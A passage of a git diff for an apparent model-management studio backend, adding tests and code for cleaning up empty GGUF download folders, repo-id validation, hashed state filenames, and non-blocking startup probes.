reserved. See /studio/LICENSE.AGPL-3.0 + +"""Cleanup of empty leftover quant folders from interrupted split downloads.""" + +import errno +from pathlib import Path +from types import SimpleNamespace + +from hub.schemas.inventory import GgufVariantDetail, GgufVariantsResponse +from hub.services.models import deletion, gguf_variants +from hub.utils import gguf + + +def _make_snapshot(root: Path) -> Path: + snap = root / "snapshots" / "rev0" + (snap / "UD-IQ1_M").mkdir(parents = True) + (snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00001-of-00002.gguf").write_bytes(b"x") + (snap / "UD-IQ1_M" / "GLM-UD-IQ1_M-00002-of-00002.gguf").write_bytes(b"y") + (snap / "UD-IQ1_S").mkdir(parents = True) # empty leftover + return snap + + +def test_list_empty_gguf_variant_dirs_finds_empty_leftover(tmp_path, monkeypatch): + snap = _make_snapshot(tmp_path) + monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap])) + assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == {"UD-IQ1_S"} + + +def test_list_empty_excludes_quant_with_files_in_another_snapshot(tmp_path, monkeypatch): + snap1 = tmp_path / "s1" / "snapshots" / "rev" + (snap1 / "UD-IQ1_S").mkdir(parents = True) # empty here + snap2 = tmp_path / "s2" / "snapshots" / "rev" + (snap2 / "UD-IQ1_S").mkdir(parents = True) + (snap2 / "UD-IQ1_S" / "m-UD-IQ1_S-00001-of-00001.gguf").write_bytes(b"z") # has shards + monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap1, snap2])) + assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set() + + +def test_list_empty_ignores_non_quant_dirs(tmp_path, monkeypatch): + snap = tmp_path / "snapshots" / "rev" + (snap / "not-a-quant").mkdir(parents = True) # empty but not a quant label + monkeypatch.setattr(gguf, "iter_hf_cache_snapshots", lambda repo_id: iter([snap])) + assert gguf.list_empty_gguf_variant_dirs("org/Repo-GGUF") == set() + + +def test_remove_empty_variant_dirs_removes_only_empty_match(tmp_path): + snap = _make_snapshot(tmp_path) + repo = SimpleNamespace(repo_path = str(tmp_path)) + removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S") + assert removed == 1 + assert failures == [] + assert not (snap / "UD-IQ1_S").exists() + assert (snap / "UD-IQ1_M").is_dir() + + +def test_remove_empty_variant_dirs_never_touches_populated_folder(tmp_path): + snap = _make_snapshot(tmp_path) + repo = SimpleNamespace(repo_path = str(tmp_path)) + removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_M") + assert removed == 0 + assert failures == [] + assert len(list((snap / "UD-IQ1_M").iterdir())) == 2 + + +def test_remove_empty_variant_dirs_surfaces_real_failure(tmp_path, monkeypatch): + _make_snapshot(tmp_path) + repo = SimpleNamespace(repo_path = str(tmp_path)) + + def _denied(self): + raise OSError(errno.EACCES, "permission denied") + + monkeypatch.setattr(Path, "rmdir", _denied) + removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S") + assert removed == 0 + assert len(failures) == 1 + + +def test_remove_empty_variant_dirs_ignores_concurrent_refill(tmp_path, monkeypatch): + _make_snapshot(tmp_path) + repo = SimpleNamespace(repo_path = str(tmp_path)) + + def _refilled(self): + raise OSError(errno.ENOTEMPTY, "directory not empty") + + monkeypatch.setattr(Path, "rmdir", _refilled) + removed, failures = deletion._remove_empty_variant_dirs([repo], "UD-IQ1_S") + assert removed == 0 + assert failures == [] + + +def test_mark_empty_dir_cleanables_appends_unlisted(monkeypatch): + monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"}) + resp = GgufVariantsResponse( + repo_id = "org/Repo-GGUF", + variants = [GgufVariantDetail(filename = "m-UD-IQ1_M.gguf", quant = "UD-IQ1_M", downloaded = True)], + ) + out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp) + by_q = {v.quant: v for v in out.variants} + assert by_q["UD-IQ1_M"].downloaded is True + assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False + + +def test_mark_empty_dir_cleanables_flips_listed_variant(monkeypatch): + monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"}) + resp = GgufVariantsResponse( + repo_id = "org/Repo-GGUF", + variants = [GgufVariantDetail(filename = "m-UD-IQ1_S.gguf", quant = "UD-IQ1_S")], + ) + out = gguf_variants._mark_empty_dir_cleanables("org/Repo-GGUF", resp) + assert len(out.variants) == 1 + assert out.variants[0].partial is True + + +def _force_compute_to_raise(monkeypatch): + # Drive _compute() down its remote path, fail metadata, and have both cache + # fallbacks miss so the original error re-raises. + def _boom(*a, **k): + raise RuntimeError("offline") + + monkeypatch.setattr(gguf_variants, "list_gguf_variants", _boom, raising = False) + monkeypatch.setattr( + gguf_variants, "list_gguf_variants_from_hf_cache", lambda repo_id: None, raising = False + ) + monkeypatch.setattr( + gguf_variants, "list_partial_gguf_variants_from_state", lambda repo_id: None, raising = False + ) + + +def test_get_variants_surfaces_cleanable_when_metadata_fails(monkeypatch): + # Offline / model_info fails and only an empty leftover folder is cached: + # the cleanable must still be returned instead of the error propagating. + import asyncio + + _force_compute_to_raise(monkeypatch) + monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: {"UD-IQ1_S"}) + + resp = asyncio.run( + gguf_variants.get_gguf_variants_response( + "org/Repo-GGUF", prefer_local_cache = False, hf_token = None + ) + ) + by_q = {v.quant: v for v in resp.variants} + assert "UD-IQ1_S" in by_q + assert by_q["UD-IQ1_S"].partial is True and by_q["UD-IQ1_S"].downloaded is False + + +def test_get_variants_reraises_when_no_cleanable(monkeypatch): + # Offline with nothing cleanable: original error must propagate (as HTTP). + import asyncio + + from fastapi import HTTPException + + _force_compute_to_raise(monkeypatch) + monkeypatch.setattr(gguf_variants, "list_empty_gguf_variant_dirs", lambda repo_id: set()) + + try: + asyncio.run( + gguf_variants.get_gguf_variants_response( + "org/Repo-GGUF", prefer_local_cache = False, hf_token = None + ) + ) + raised = False + except (HTTPException, RuntimeError): + raised = True + assert raised diff --git a/studio/backend/hub/tests/test_model_services.py b/studio/backend/hub/tests/test_model_services.py index 1eb7042e4e..44701c0b64 100644 --- a/studio/backend/hub/tests/test_model_services.py +++ b/studio/backend/hub/tests/test_model_services.py @@ -105,6 +105,10 @@ def test_repo_id_validation_accepts_hf_repo_id_contract(repo_id): assert paths.is_valid_repo_id(repo_id) +def test_repo_id_validation_accepts_max_length_namespaced_repo(): + assert paths.is_valid_repo_id(f"{'a' * 96}/{'b' * 96}") + + @pytest.mark.parametrize( "repo_id", [ @@ -121,6 +125,48 @@ def test_repo_id_validation_rejects_unsafe_or_invalid_ids(repo_id): assert not paths.is_valid_repo_id(repo_id) +def test_download_state_preserves_readable_keys_when_safe(monkeypatch, tmp_path): + monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path) + + path = state_dir.marker_path("model", "Owner/Repo", "Q4_K_M") + + assert path is not None + assert path.name == "models--owner--repo--variant--q4_k_m.json" + + +@pytest.mark.parametrize("variant", ["bad variant with spaces", "q" * 64]) +def test_download_state_bounds_long_repo_variant_filenames(monkeypatch, tmp_path, variant): + monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path) + repo_id = f"{'a' * 96}/{'b' * 96}" + + assert paths.is_valid_repo_id(repo_id) + assert download_manifest.write_cancel_marker("model", repo_id, variant, "http") + assert download_manifest.write_manifest( + "model", + repo_id, + variant, + [download_manifest.ExpectedFile(path = "model.gguf", size = 1)], + "http", + ) + + marker_path = state_dir.marker_path("model", repo_id, variant) + manifest_path = state_dir.manifest_path("model", repo_id, variant) + + assert marker_path is not None + assert manifest_path is not None + assert "--sha256-" in marker_path.name + assert len(marker_path.name.encode("utf-8")) <= 255 + assert len(f".{marker_path.name}.tmp-00000000".encode("utf-8")) <= 255 + assert download_manifest.has_cancel_marker("model", repo_id, variant) + assert download_manifest.read_manifest("model", repo_id, variant) is not None + assert list(download_manifest.iter_variant_markers("model", repo_id)) == [ + (variant, marker_path) + ] + assert list(download_manifest.iter_variant_manifests("model", repo_id)) == [ + (variant, manifest_path) + ] + + class _RecordingLogger: def __init__(self): self.warnings = [] @@ -168,6 +214,16 @@ def test_resolve_browse_target_rejects_sensitive_dir(tmp_path): assert exc_info.value.status_code == 403 +def test_resolve_browse_target_rejects_sensitive_root(tmp_path): + ssh = tmp_path / "home" / ".ssh" + ssh.mkdir(parents = True) + + with pytest.raises(HTTPException) as exc_info: + folder_browser._resolve_browse_target(str(ssh), [ssh]) + + assert exc_info.value.status_code == 403 + + def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path): home = tmp_path / "home" (home / ".ssh").mkdir(parents = True) @@ -181,6 +237,24 @@ def test_browse_folders_hides_sensitive_dirs(monkeypatch, tmp_path): assert ".ssh" not in names +def test_browse_allowlist_includes_linux_run_media_mounts(monkeypatch, tmp_path): + home = tmp_path / "home" + media_root = tmp_path / "run" / "media" / "dspofu" / "nvmeB" + model_dir = media_root / "modelsAI" / "gguf" / "qwen3.6" + home.mkdir() + model_dir.mkdir(parents = True) + monkeypatch.setattr(folder_browser.Path, "home", lambda: home) + monkeypatch.setattr(folder_browser, "linux_run_media_mount_roots", lambda: [media_root]) + monkeypatch.setattr(folder_browser, "_resolve_hf_cache_dir", lambda: tmp_path / "missing-hf") + monkeypatch.setattr(scan_folders, "list_scan_folders", lambda: []) + monkeypatch.setattr(folder_browser, "well_known_model_dirs", lambda: []) + + allowlist = folder_browser._build_browse_allowlist() + + assert media_root.resolve() in allowlist + assert folder_browser._resolve_browse_target(str(model_dir), allowlist) == model_dir.resolve() + + def test_get_models_folder_response_creates_and_returns_dir(monkeypatch, tmp_path): # The endpoint creates the cache dir on demand so the desktop "Open folder" # action works even before the first download. @@ -1632,6 +1706,34 @@ def test_variant_partial_accepts_variant_filtered_legacy_hashes(monkeypatch, tmp ) +def test_variant_partial_accepts_completed_variant_in_non_latest_snapshot(monkeypatch, tmp_path): + """A verified GGUF update can prune an older snapshot and make that old + directory the newest by mtime. The variant is still complete when another + snapshot satisfies its manifest.""" + monkeypatch.setattr(state_dir, "cache_root", lambda: tmp_path / "state") + repo_dir = tmp_path / "cache" / "models--Org--Repo" + old_snapshot = repo_dir / "snapshots" / "old" + new_snapshot = repo_dir / "snapshots" / "new" + old_snapshot.mkdir(parents = True) + new_snapshot.mkdir(parents = True) + (old_snapshot / "model-Q8_0.gguf").write_bytes(b"sibling") + (new_snapshot / "model-Q4_K_M.gguf").write_bytes(b"new") + assert download_manifest.write_manifest( + "model", + "Org/Repo", + "Q4_K_M", + [download_manifest.ExpectedFile(path = "model-Q4_K_M.gguf", size = 3)], + "http", + ) + + assert not inventory_scan.is_variant_partial( + "Org/Repo", + "Q4_K_M", + snapshot_dir = old_snapshot, + repo_cache_dir = repo_dir, + ) + + def test_gguf_variants_partial_marker_overrides_size_only_downloaded(monkeypatch, tmp_path): async def _run_inline(fn, *args, **kwargs): return fn(*args, **kwargs) diff --git a/studio/backend/hub/utils/gguf.py b/studio/backend/hub/utils/gguf.py index acd650bf42..2e3de125f1 100644 --- a/studio/backend/hub/utils/gguf.py +++ b/studio/backend/hub/utils/gguf.py @@ -276,6 +276,33 @@ def iter_hf_cache_snapshots(repo_id: str): yield from snapshots +def list_empty_gguf_variant_dirs(repo_id: str) -> set[str]: + """Quant labels present only as an EMPTY snapshot ``/`` folder (an + interrupted split download); a quant with shards in any snapshot is excluded.""" + empty: dict[str, str] = {} + nonempty: set[str] = set() + for snapshot in iter_hf_cache_snapshots(repo_id): + try: + entries = list(snapshot.iterdir()) + except OSError: + continue + for sub in entries: + try: + if sub.is_symlink() or not sub.is_dir(): + continue + quant = extract_quant_token(sub.name) + if not quant: + continue + has_child = any(sub.iterdir()) + except OSError: + continue + if has_child: + nonempty.add(quant.lower()) + else: + empty.setdefault(quant.lower(), quant) + return {label for key, label in empty.items() if key not in nonempty} + + def list_gguf_variants_from_hf_cache(repo_id: str) -> Optional[tuple[list[GgufVariantInfo], bool]]: for snapshot in iter_hf_cache_snapshots(repo_id): variants, has_vision = list_local_gguf_variants(str(snapshot)) diff --git a/studio/backend/hub/utils/gguf_plan.py b/studio/backend/hub/utils/gguf_plan.py index 40d5a32549..18daa4f84e 100644 --- a/studio/backend/hub/utils/gguf_plan.py +++ b/studio/backend/hub/utils/gguf_plan.py @@ -36,7 +36,10 @@ def sibling_sha256(sibling) -> Optional[str]: value = lfs.get("sha256") else: value = getattr(lfs, "sha256", None) - return value if isinstance(value, str) and value else None + if isinstance(value, str) and value: + return value + blob_id = getattr(sibling, "blob_id", None) + return blob_id if isinstance(blob_id, str) and blob_id else None def sibling_size(sibling) -> int: @@ -99,16 +102,17 @@ def preferred_mmproj_sibling(siblings: Sequence) -> Optional[object]: def preferred_mtp_sibling(siblings: Sequence) -> Optional[object]: """The separate MTP drafter to fetch with every variant: the repo-root ``mtp-*.gguf`` copy unsloth ships for llama.cpp ``-hf`` auto-discovery - (Gemma 4). Same pick as the loader's drafter resolution (``mtp-`` basename - prefix, first in sort order) so download and load resolve the same file; - the higher-precision ``MTP/`` subdir copies are for explicit selection and - are not auto-fetched. None for repos with the head baked into the main - GGUF (Qwen).""" + (Gemma 4). Same pick as the loader's drafter resolution (root-level + ``mtp-`` prefix, first in sort order) so download and load resolve the same + file; the higher-precision ``MTP/`` subdir copies are for explicit + selection and are not auto-fetched. None for repos with the head baked into + the main GGUF (Qwen).""" + # Root-level only: the MTP/ subdir copies now share the mtp- prefix too. candidates = sorted( ( s for s in siblings - if (name := _gguf_rfilename(s)) and name.lower().rsplit("/", 1)[-1].startswith("mtp-") + if (name := _gguf_rfilename(s)) and "/" not in name and name.lower().startswith("mtp-") ), key = lambda s: getattr(s, "rfilename"), ) diff --git a/studio/backend/hub/utils/inventory_scan.py b/studio/backend/hub/utils/inventory_scan.py index 0f7ce6fe34..57ad7f6655 100644 --- a/studio/backend/hub/utils/inventory_scan.py +++ b/studio/backend/hub/utils/inventory_scan.py @@ -387,9 +387,55 @@ def _manifest_partial( ) if resolved is None: return True + if repo_type == "model" and variant is not None: + if download_manifest.verify_against_disk(manifest, resolved).ok: + return False + for candidate in _manifest_snapshot_dirs(repo_type, repo_id, repo_cache_dir): + if candidate == resolved: + continue + if download_manifest.verify_against_disk(manifest, candidate).ok: + return False + return True return not download_manifest.verify_against_disk(manifest, resolved).ok +def _manifest_snapshot_dirs( + repo_type: RepoType, + repo_id: str, + repo_cache_dir: Optional[Path] = None, +) -> list[Path]: + repo_dirs = ( + [repo_cache_dir] + if repo_cache_dir is not None + else list(iter_repo_cache_dirs(repo_type, repo_id)) + ) + snapshots: list[Path] = [] + seen: set[str] = set() + for repo_dir in repo_dirs: + if repo_dir is None: + continue + snapshots_dir = repo_dir / "snapshots" + try: + if not snapshots_dir.is_dir(): + continue + entries = list(snapshots_dir.iterdir()) + except OSError: + continue + for entry in entries: + try: + if not entry.is_dir(): + continue + resolved = entry.resolve() + except OSError: + continue + key = str(resolved) + if key in seen: + continue + seen.add(key) + snapshots.append(resolved) + return snapshots + + def is_snapshot_partial( repo_type: RepoType, repo_id: str, diff --git a/studio/backend/hub/utils/paths.py b/studio/backend/hub/utils/paths.py index afcb0b41dc..5435202565 100644 --- a/studio/backend/hub/utils/paths.py +++ b/studio/backend/hub/utils/paths.py @@ -181,15 +181,20 @@ def is_valid_repo_id(repo_id: str) -> bool: """Validate Hugging Face ``repo_name`` or ``namespace/repo_name`` IDs.""" if not repo_id or repo_id != repo_id.strip(): return False - if len(repo_id) > _MAX_REPO_ID_LENGTH or repo_id.endswith(".git"): + if repo_id.endswith(".git"): return False if "--" in repo_id or ".." in repo_id: return False segments = repo_id.split("/") if len(segments) not in (1, 2): return False + # Match huggingface_hub.validate_repo_id: the 96-char limit applies per + # segment (repo name / namespace), not to the whole "namespace/repo_name" + # string, so long-but-valid repo names are not falsely rejected. return all( - segment not in ("", ".", "..") and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None + segment not in ("", ".", "..") + and len(segment) <= _MAX_REPO_ID_LENGTH + and _VALID_REPO_ID_SEGMENT.fullmatch(segment) is not None for segment in segments ) diff --git a/studio/backend/hub/utils/state_dir.py b/studio/backend/hub/utils/state_dir.py index a304477a3d..183e934724 100644 --- a/studio/backend/hub/utils/state_dir.py +++ b/studio/backend/hub/utils/state_dir.py @@ -11,8 +11,9 @@ cache lifecycle. Two subdirectories: manifests/ .json per-download expected-files manifest cancelled/ .json per-download cancel marker -The ```` mirrors HF's cache dir naming so a state file can be -eyeballed next to the on-disk repo it describes: +The ```` mirrors HF's cache dir naming while the resulting manifest, +cancel-marker, and atomic-write temp filenames fit common filesystem basename +limits. Very long repo IDs use a stable hash in the state key: models---- full snapshot models------variant-- GGUF variant @@ -49,6 +50,11 @@ _MANIFESTS_SUBDIR = "manifests" _CANCELLED_SUBDIR = "cancelled" _WORKERS_SUBDIR = "workers" _SAFE_VARIANT_FRAGMENT = re.compile(r"^[a-z0-9._-]{1,64}$") +_MAX_STATE_BASENAME_BYTES = 255 +_STATE_EXTENSION = ".json" +# _atomic_write_json writes "..tmp-<8hex>" beside the final file. +_ATOMIC_WRITE_TMP_OVERHEAD = len(".") + len(".tmp-") + 8 +_MAX_VARIANT_FRAGMENT_LENGTH = 64 def state_root() -> Optional[Path]: @@ -84,16 +90,35 @@ def repo_cache_basename(repo_type: RepoType, repo_id: str) -> str: return f"{repo_type}s--{repo_id.replace('/', '--')}".lower() +def _filename_bytes(name: str) -> int: + return len(name.encode("utf-8")) + + +def _state_filename_fits(entry_key: str) -> bool: + filename = f"{entry_key}{_STATE_EXTENSION}" + return _filename_bytes(filename) + _ATOMIC_WRITE_TMP_OVERHEAD <= _MAX_STATE_BASENAME_BYTES + + +def _state_repo_key(repo_type: RepoType, repo_id: str) -> str: + base = repo_cache_basename(repo_type, repo_id) + variant_prefix = f"{base}--variant--" + longest_variant_key = f"{variant_prefix}{'x' * _MAX_VARIANT_FRAGMENT_LENGTH}" + if _state_filename_fits(longest_variant_key): + return base + digest = hashlib.sha256(base.encode("utf-8")).hexdigest()[:32] + return f"{repo_type}s--sha256-{digest}" + + def variant_filename_prefix(repo_type: RepoType, repo_id: str) -> str: """Lowercased prefix every variant-keyed state file for this repo shares. The single source the download_manifest enumerators match against, so the scheme in :func:`_entry_key` cannot drift from them silently.""" - return f"{repo_cache_basename(repo_type, repo_id)}--variant--" + return f"{_state_repo_key(repo_type, repo_id)}--variant--" def _entry_key(repo_type: RepoType, repo_id: str, variant: Optional[str]) -> str: - base = repo_cache_basename(repo_type, repo_id) + base = _state_repo_key(repo_type, repo_id) if not variant: return base normalized_variant = variant.strip().lower() diff --git a/studio/backend/hub/workers/hf_download.py b/studio/backend/hub/workers/hf_download.py index 42a8ca52b3..e45357d311 100644 --- a/studio/backend/hub/workers/hf_download.py +++ b/studio/backend/hub/workers/hf_download.py @@ -653,6 +653,21 @@ def _download_gguf_variant(repo_id: str, variant: str, hf_token: str | None, mod snapshot_path, metadata_unavailable = metadata_unavailable, ) + if plan is not None: + try: + from hub.services.models.deletion import reclaim_replaced_gguf_variant + reclaim_replaced_gguf_variant( + repo_id, + variant, + plan.main_hashes, + hf_token, + ) + except Exception as e: + print( + f"Verified GGUF update for {repo_id} [{variant}], but stale-cache " + f"reclaim failed ({type(e).__name__}: {e})", + file = sys.stderr, + ) def _download_dataset(repo_id: str, hf_token: str | None, mode: str) -> None: diff --git a/studio/backend/main.py b/studio/backend/main.py index 54946fa992..8762c43195 100644 --- a/studio/backend/main.py +++ b/studio/backend/main.py @@ -12,6 +12,8 @@ from pathlib import Path as _Path import asyncio from dataclasses import asdict +from typing import Any, Optional + # Suppress C-level dependency warnings globally os.environ["PYTHONWARNINGS"] = "ignore" @@ -24,6 +26,22 @@ os.environ["PYTHONWARNINGS"] = "ignore" # process is covered before its heavy ML imports. os.environ.setdefault("CUDA_DEVICE_ORDER", "PCI_BUS_ID") +# Windows terminals default to the active system code page. Reconfigure +# stdout/stderr before the startup banner so non-ASCII output cannot crash the +# backend process. +if sys.platform == "win32": + for _win_stream in (sys.stdout, sys.stderr): + if _win_stream is not None and hasattr(_win_stream, "reconfigure"): + try: + _win_stream.reconfigure(encoding = "utf-8", errors = "replace") + except Exception: + pass + del _win_stream + +_SYSTEM_GPU_CACHE_TTL_SECONDS = 10.0 +_system_gpu_cache_lock = threading.Lock() +_system_gpu_cache: Optional[tuple[float, dict[str, Any]]] = None + # ── Windows AMD ROCm DLL injection ────────────────────────────────────────── # Python 3.8+ ignores PATH for extension modules; register ROCm bin dirs with # os.add_dll_directory() so amdhip64.dll etc. are found before any torch import. @@ -214,7 +232,6 @@ import shutil import warnings from contextlib import asynccontextmanager from importlib.metadata import PackageNotFoundError, version as package_version -from typing import Optional from urllib.parse import urlparse @@ -282,6 +299,7 @@ from routes import ( training_router, ) from routes.llama import router as llama_router +from routes.preview import router as preview_router from hub.routes import ( inventory_router as hub_inventory_router, datasets_router as hub_datasets_router, @@ -379,24 +397,18 @@ def _start_helper_precache_if_enabled() -> None: threading.Thread(target = _precache, daemon = True, name = "helper-gguf-precache").start() -@asynccontextmanager -async def lifespan(app: FastAPI): - """Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache.""" - clear_unsloth_compiled_cache() +def _run_llama_cpp_startup_probes(app: FastAPI) -> None: + """llama.cpp capability (MTP support) + freshness (release age) probes. - # Remove stale .venv_overlay from old versions; switching now uses .venv_t5/. - overlay_dir = Path(__file__).resolve().parent.parent.parent / ".venv_overlay" - if overlay_dir.is_dir(): - shutil.rmtree(overlay_dir, ignore_errors = True) - - # Detect hardware first — sets the DEVICE global used everywhere. - detect_hardware() - - # Reap download workers orphaned by a previous crash before new downloads start. - reap_hub_orphan_workers() - - # llama.cpp probes: capability (MTP support) + freshness (release age). - # Both cached; freshness has a 24h disk TTL. + Runs OFF the startup critical path (see _start_llama_cpp_probes_if_enabled). + Both are cached and freshness has a 24h disk TTL, but on a cold/expired cache + the freshness check makes a blocking GitHub request, and on macOS the first + `llama-server --help` exec can stall on Gatekeeper verification -- neither must + ever gate `Application startup complete`. Writes app.state only; nothing reads + those values synchronously at startup (the status routes call + check_prebuilt_freshness directly at request time), so populating them late is + safe. + """ try: from core.inference.llama_cpp import LlamaCppBackend from utils.llama_cpp_freshness import ( @@ -429,35 +441,115 @@ async def lifespan(app: FastAPI): import structlog as _structlog _structlog.get_logger(__name__).debug("llama.cpp startup probes failed: %s", _probe_exc) - from storage.studio_db import cleanup_orphaned_runs +def _start_llama_cpp_probes_if_enabled(app: FastAPI) -> None: + """Run the llama.cpp startup probes on a daemon thread, off the startup + critical path so they never delay `Application startup complete`. Skipped + entirely when update checks are disabled, so a fully offline boot makes no + background network calls.""" + if os.environ.get("UNSLOTH_DISABLE_UPDATE_CHECK") == "1": + return + + threading.Thread( + target = _run_llama_cpp_startup_probes, + args = (app,), + daemon = True, + name = "llama-cpp-startup-probe", + ).start() + + +def _warm_rag_embedder() -> None: + """Warm RAG embeddings without blocking backend readiness.""" try: + from storage import rag_db + + if not rag_db.RAG_AVAILABLE: + return + from core.rag import embeddings + + embeddings.warm() + except Exception: + pass + + +@asynccontextmanager +async def lifespan(app: FastAPI): + """Startup: detect hardware, seed default admin if needed. Shutdown: clean up compiled cache.""" + + import time as _time + + _lifespan_started = _time.perf_counter() + import structlog as _structlog + + _lifespan_log = _structlog.get_logger(__name__) + clear_unsloth_compiled_cache() + + # Remove stale .venv_overlay from old versions; switching now uses .venv_t5/. + overlay_dir = Path(__file__).resolve().parent.parent.parent / ".venv_overlay" + if overlay_dir.is_dir(): + shutil.rmtree(overlay_dir, ignore_errors = True) + + # Detect hardware first — sets the DEVICE global used everywhere. + detect_hardware() + + _lifespan_log.info( + "lifespan hardware detection completed in %.1fms", + (_time.perf_counter() - _lifespan_started) * 1000, + ) + + # Apple Silicon with MLX missing => Train/Export are greyed out (chat-only). + # Reinstall mlx by name on a background thread (off the critical path) and + # re-detect, so a reinstall/update that dropped mlx self-heals. No-op + # elsewhere; opt out with UNSLOTH_DISABLE_MLX_AUTOREPAIR=1. + try: + from utils.mlx_repair import start_mlx_autorepair_if_needed + start_mlx_autorepair_if_needed() + except Exception as _mlx_exc: + import structlog as _structlog + _structlog.get_logger(__name__).debug("mlx autorepair skipped: %s", _mlx_exc) + + # Reap workers/runs orphaned by a previous crash before new work starts. + try: + from storage.studio_db import cleanup_orphaned_runs cleanup_orphaned_runs() except Exception as exc: - import structlog - structlog.get_logger(__name__).warning("cleanup_orphaned_runs failed at startup: %s", exc) + _lifespan_log.warning("cleanup_orphaned_runs failed at startup: %s", exc) + + reap_hub_orphan_workers() + + # llama.cpp probes: capability (MTP support) + freshness (release age). + # These used to run inline here and could block `Application startup complete` + # for tens of seconds on macOS (cold GitHub freshness cache / slow network, and + # Gatekeeper verifying the unsigned binary on first `--help` exec). They only + # write app.state and nothing reads it synchronously at startup, so run them on + # a daemon thread off the startup critical path (mirrors the helper-precache and + # RAG-warm threads). Default to None until the thread populates them. + app.state.llama_cpp_capabilities = None + app.state.llama_cpp_freshness = None + _start_llama_cpp_probes_if_enabled(app) + + try: + from storage.rag_db import reconcile_orphaned_ingestion_jobs + reconcile_orphaned_ingestion_jobs() + except Exception as exc: + _lifespan_log.warning("reconcile_orphaned_ingestion_jobs failed at startup: %s", exc) _start_helper_precache_if_enabled() + threading.Thread(target = _warm_rag_embedder, daemon = True, name = "rag-embedder-warm").start() - # Warm the RAG embedder so the first upload skips the cold load. Non-fatal. - def _warm_rag_embedder(): - try: - from storage import rag_db + # Idle auto-unload loop (no-op unless the OpenAI auto-unload TTL is set). + from core.inference.llama_keepwarm import idle_unload_loop - if not rag_db.RAG_AVAILABLE: - return - from core.rag import embeddings + app.state.idle_unload_task = asyncio.create_task(idle_unload_loop()) - embeddings.warm() - except Exception: - pass - - threading.Thread(target = _warm_rag_embedder, daemon = True).start() - - # Initialize RSA key pair for API key encryption (external providers) + # Initialize RSA key pair for API key encryption (external providers). from core.inference.key_exchange import init_key_pair init_key_pair() + _lifespan_log.info( + "lifespan pre-auth setup completed in %.1fms", + (_time.perf_counter() - _lifespan_started) * 1000, + ) if storage.ensure_default_admin(): bootstrap_pw = storage.get_bootstrap_password() @@ -472,8 +564,21 @@ async def lifespan(app: FastAPI): print("=" * 60 + "\n") else: app.state.bootstrap_password = storage.get_bootstrap_password() + + _lifespan_log.info( + "lifespan startup completed in %.1fms", + (_time.perf_counter() - _lifespan_started) * 1000, + ) yield + _idle_task = getattr(app.state, "idle_unload_task", None) + if _idle_task is not None: + _idle_task.cancel() + try: + await _idle_task + except asyncio.CancelledError: + pass + from core.inference.llama_http import aclose as _close_llama_http await _close_llama_http() @@ -623,6 +728,7 @@ from utils.upload_limits import ( # noqa: E402 _BODY_PROTECTED_PREFIXES = ( "/v1/chat/completions", "/v1/completions", + "/p/", "/api/inference", "/api/data-recipe", "/api/datasets", @@ -795,6 +901,11 @@ app.add_middleware( upload_passthrough_max_bytes_getter = _get_upload_passthrough_request_max_bytes, ) +# Tracks in-flight inference requests for idle auto-unload; off -> passthrough. +from core.inference.llama_keepwarm import LlamaKeepWarmMiddleware # noqa: E402 + +app.add_middleware(LlamaKeepWarmMiddleware) + from starlette.responses import RedirectResponse as _RedirectResponse # noqa: E402 @@ -806,24 +917,16 @@ async def _recipes_redirect(rest: str = ""): return _RedirectResponse(url = target, status_code = 308) -_api_only = os.environ.get("UNSLOTH_API_ONLY") == "1" -_cors_origins = ["*"] -if _api_only: - _cors_origins = [ - "tauri://localhost", # Linux/macOS Tauri webview - "http://tauri.localhost", # Windows Tauri webview - "http://localhost", # dev fallback - "http://localhost:5173", # Tauri dev/Vite - "http://127.0.0.1:5173", # Tauri dev/Vite fallback - ] - _cors_origin_regex = None -else: - _cors_origin_regex = None +from utils.host_policy import cors_origins_for_mode # noqa: E402 + +_cors_origins = cors_origins_for_mode( + api_only = os.environ.get("UNSLOTH_API_ONLY") == "1", + secure = os.environ.get("UNSLOTH_SECURE") == "1", +) app.add_middleware( CORSMiddleware, allow_origins = _cors_origins, - allow_origin_regex = _cors_origin_regex, allow_credentials = True, allow_methods = ["*"], allow_headers = ["*"], @@ -844,6 +947,7 @@ app.include_router(inference_studio_router, prefix = "/api/inference", tags = [" # OpenAI-compatible: mount the inference router at /v1 for external tools. app.include_router(inference_router, prefix = "/v1", tags = ["openai-compat"]) +app.include_router(preview_router, prefix = "/p", tags = ["preview"]) app.include_router(providers_router, prefix = "/api/providers", tags = ["providers"]) app.include_router(settings_router, prefix = "/api/settings", tags = ["settings"]) app.include_router(mcp_servers_router, prefix = "/api/mcp/servers", tags = ["mcp"]) @@ -865,6 +969,21 @@ install_api_error_handlers(app) # ============ Health and System Endpoints ============ +@app.get("/api/liveness") +async def liveness_check(): + """Cheap process liveness for desktop port validation.""" + return { + "status": "alive", + "service": "Unsloth UI Backend", + "desktop_protocol_version": 1, + "desktop_manageability_version": 1, + "supports_desktop_auth": True, + "supports_desktop_backend_ownership": True, + "studio_root_id": _studio_root_id(), + **({"desktop_owner": owner} if (owner := _desktop_owner()) else {}), + } + + @app.get("/api/health") async def health_check(request: Request): """Liveness plus launcher capability bits; host fingerprint gated on a bearer. @@ -909,6 +1028,8 @@ async def health_check(request: Request): device_type = platform_map.get(sys.platform, sys.platform) return { **base, + # Why chat_only is set. This fingerprints the host, so keep it authed. + "chat_only_reason": getattr(_hw_module, "CHAT_ONLY_REASON", None), "version": UNSLOTH_VERSION, "studio_version": STUDIO_VERSION, "device_type": device_type, @@ -962,8 +1083,57 @@ async def shutdown_server(request: Request, 